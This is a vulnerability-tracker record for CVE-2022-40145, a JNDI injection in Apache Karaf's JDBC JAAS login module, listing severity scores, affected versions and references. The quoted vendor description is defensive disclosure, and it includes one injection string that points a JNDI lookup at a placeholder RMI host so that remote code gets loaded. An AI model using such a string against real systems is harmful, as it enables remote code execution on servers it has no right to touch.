# CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection

- Priority: **Prioritise**
- Reason: Severe, CVSS 9.8 (CVE.org); no exploitation reported by the 5 checked sources; EPSS 3% (FIRST, 04-12-2026)
- Next step: Check applicability and the vendor advisory: no fix release is recorded here
- Status: published
- Published: 2022-12-21 · Modified: 2025-04-15
- Aliases: GHSA-c2p4-8mvv-rwmv
- Record: https://cvemate.com/vulnerability/CVE-2022-40145 · JSON: https://cvemate.com/vulnerability/CVE-2022-40145/json

## Description

```text
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
```

## Signals

- CVSS: 9.8 critical (v3.1, CVE.org) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS: 2.647%, percentile 86.117%, as of 2026-12-04
- Known exploited (KEV): CISA not listed, ENISA not listed, CIRCL not listed
- Ransomware use: none recorded
- Public exploits: 0

## Affected

- apache software foundation apache karaf: ≥ 4.4.0, \< 4.4.2 \| \< 4.3.8
- apache karaf: \< 4.3.8 \| ≥ 4.4.0, \< 4.4.2
- org.apache.karaf apache-karaf (Maven): \< 4.3.8 \| ≥ 4.4.0, \< 4.4.2

## References

- <https://karaf.apache.org/security/cve-2022-40145.txt>
- <https://nvd.nist.gov/vuln/detail/CVE-2022-40145>
- <https://github.com/apache/karaf/pull/1632>
- <https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1>
- <https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341>
- <https://github.com/apache/karaf>
- <https://issues.apache.org/jira/browse/KARAF-7568>

---

Data as of 2026-12-05T03:28:41.780Z. The priority label is CveMate's own model from public evidence, not an official rating, and it knows nothing about your assets. How labels are decided: https://cvemate.com/faq#priority
